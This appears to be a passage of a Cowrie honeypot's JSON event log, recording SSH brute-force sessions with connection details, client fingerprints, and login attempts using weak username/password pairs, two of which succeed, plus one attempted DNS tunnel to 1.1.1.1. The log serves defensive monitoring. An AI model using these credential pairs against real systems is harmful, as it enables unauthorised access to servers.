{"eventid":"cowrie.session.closed","duration":43.82347822189331,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:28.812705Z","src_ip":"128.199.8.54","session":"52ad167e0eae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:30.564432Z","src_ip":"91.92.40.36","session":"3b85538543b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46954,"dst_ip":"159.203.135.109","dst_port":22,"session":"75335a7b1b25","protocol":"ssh","message":"New connection: 91.92.40.36:46954 (159.203.135.109:22) [session: 75335a7b1b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:31.206884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:32.106987Z","src_ip":"91.92.40.36","session":"75335a7b1b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:32.110235Z","src_ip":"91.92.40.36","session":"75335a7b1b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":49332,"dst_ip":"159.203.135.109","dst_port":22,"session":"31c34db9bd11","protocol":"ssh","message":"New connection: 103.77.242.62:49332 (159.203.135.109:22) [session: 31c34db9bd11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:32.983899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:32.988879Z","src_ip":"103.77.242.62","session":"31c34db9bd11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:33.223746Z","src_ip":"103.77.242.62","session":"31c34db9bd11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10021981","message":"login attempt [root/10021981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:33.929556Z","src_ip":"103.77.242.62","session":"31c34db9bd11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@Password","message":"login attempt [root/!@Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:34.397005Z","src_ip":"27.71.230.31","session":"6760857f4dc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:35.165203Z","src_ip":"103.77.242.62","session":"31c34db9bd11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.4","message":"Connection lost after 13.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:35.647481Z","src_ip":"27.71.230.31","session":"6760857f4dc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"654321","message":"login attempt [daemon/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:36.486049Z","src_ip":"91.92.40.36","session":"75335a7b1b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:38.533389Z","src_ip":"91.92.40.36","session":"75335a7b1b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24522,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8b2dc508b69","protocol":"ssh","message":"New connection: 91.92.40.36:24522 (159.203.135.109:22) [session: d8b2dc508b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:39.147864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:39.980718Z","src_ip":"91.92.40.36","session":"d8b2dc508b69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:39.984285Z","src_ip":"91.92.40.36","session":"d8b2dc508b69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asd123456","message":"login attempt [ubuntu/asd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:43.425240Z","src_ip":"91.92.40.36","session":"d8b2dc508b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:45.918280Z","src_ip":"91.92.40.36","session":"d8b2dc508b69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24466,"dst_ip":"159.203.135.109","dst_port":22,"session":"1630ee501937","protocol":"ssh","message":"New connection: 91.92.40.36:24466 (159.203.135.109:22) [session: 1630ee501937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:46.853232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:47.778173Z","src_ip":"91.92.40.36","session":"1630ee501937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:47.782193Z","src_ip":"91.92.40.36","session":"1630ee501937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":65382,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad98f23baa50","protocol":"ssh","message":"New connection: 87.251.64.176:65382 (10.17.0.5:22) [session: ad98f23baa50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:51.254844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:51.259169Z","src_ip":"87.251.64.176","session":"ad98f23baa50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:51.384898Z","src_ip":"87.251.64.176","session":"ad98f23baa50","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:51.775443Z","src_ip":"87.251.64.176","session":"ad98f23baa50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:51.905199Z","session":"ad98f23baa50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:52.025636Z","src_ip":"87.251.64.176","session":"ad98f23baa50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:52.142201Z","src_ip":"87.251.64.176","session":"ad98f23baa50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hs","password":"hs","message":"login attempt [hs/hs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:54.206971Z","src_ip":"91.92.40.36","session":"1630ee501937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24518,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2244bc5b2bb","protocol":"ssh","message":"New connection: 91.92.40.36:24518 (159.203.135.109:22) [session: c2244bc5b2bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:54.799364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:55.357163Z","src_ip":"91.92.40.36","session":"c2244bc5b2bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:55.361055Z","src_ip":"91.92.40.36","session":"c2244bc5b2bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:56.035812Z","src_ip":"91.92.40.36","session":"1630ee501937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":52626,"dst_ip":"10.17.0.5","dst_port":22,"session":"b89e67c99fa4","protocol":"ssh","message":"New connection: 173.208.188.210:52626 (10.17.0.5:22) [session: b89e67c99fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:56.350288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:56.354850Z","src_ip":"173.208.188.210","session":"b89e67c99fa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:56.525597Z","src_ip":"173.208.188.210","session":"b89e67c99fa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"francis","password":"francis123","message":"login attempt [francis/francis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:56.935221Z","src_ip":"91.92.40.36","session":"c2244bc5b2bb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:58.135994Z","src_ip":"173.208.188.210","session":"b89e67c99fa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:16:58.284205Z","src_ip":"91.92.40.36","session":"c2244bc5b2bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32310,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8188e3234b3","protocol":"ssh","message":"New connection: 91.92.40.36:32310 (159.203.135.109:22) [session: a8188e3234b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:01.152305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:02.062460Z","src_ip":"91.92.40.36","session":"a8188e3234b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 